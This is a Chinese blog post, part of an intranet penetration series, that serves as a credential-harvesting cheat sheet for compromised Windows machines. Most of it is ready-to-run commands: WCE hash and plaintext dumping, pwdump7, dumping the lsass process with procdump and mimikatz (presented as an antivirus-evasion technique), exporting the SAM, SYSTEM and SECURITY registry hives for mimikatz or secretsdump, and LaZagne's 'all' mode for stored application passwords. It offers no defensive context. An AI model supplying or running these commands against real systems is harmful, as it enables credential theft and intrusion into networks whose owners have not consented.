内网渗透之内网信息收集（六）

前言

作者简介：不知名白帽，网络安全学习者。

博客主页：https://blog.csdn.net/m0_63127854?type=blog

内网渗透专栏：https://blog.csdn.net/m0_63127854/category_11885934.html

网络安全交流社区：https://bbs.csdn.net/forums/angluoanquan

目录

凭证信息收集

05wce

06pwddump7

07ophcrack

08Procdump+Mimikatz (常用免杀)

09注册表导出hash

10lazagne

内网渗透之内网信息收集（七）_不知名白帽的博客-CSDN博客

---

凭证信息收集

05wce

WCE：windows credentials editor

WCE是跟mimikatz齐名的一款hash管理工具

官网地址：https://www.ampliasecurity.com/research.html

32位下载：https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip

64位下载：https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip

历史版本下载：https://www.ampliasecurity.com/research/windows-credentials-editor/

WCE使用说明：

wce.exe -l（获取用户哈希）

wce.exe -w（获取用户明文密码）

06pwddump7

这款工具可以读取出当前系统的各个用户的密码hash（包括LM和NTLM）

在命令行输入Pwddump7.txt就可以读取出hash并显示出来，也可以保存到一个文件中

07ophcrack

如果网站无法破解出hash值，我们可以使用ophcrack工具配合彩虹表自己破解。

工具下载：https://ophcrack.sourceforge.io/

彩虹表：

https://ophcrack.sourceforge.io/tables.php

http://project-rainbowcrack.com/table.htm

08Procdump+Mimikatz (常用免杀)

Procdump下载： https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出：

For 32bits：procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits：procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

然后使用mimikatz还原密码：

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

09注册表导出hash

reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save HKLM\SECURITY security.hiv

导出后可以使用cain导入system.hiv、security.hiv获取缓存中的明文信息。

mimikatz.exe “lsadump::sam /system:system.hiv /sam:sam.hiv” exit

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

10lazagne

LaZagne 是用于获取存储在本地计算机上的大量密码的开源应用程序。 每个软件都使用不同的技术（纯文本、API、自定义算法、数据库等）存储其密码。LaZagne 的作用就是找到最常用的一些软件的密码。 LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。但是对聊天软件的支持不够本土化，主要支持一些国外的聊天软件。

抓取所有支持软件的密码：

lazagne.exe all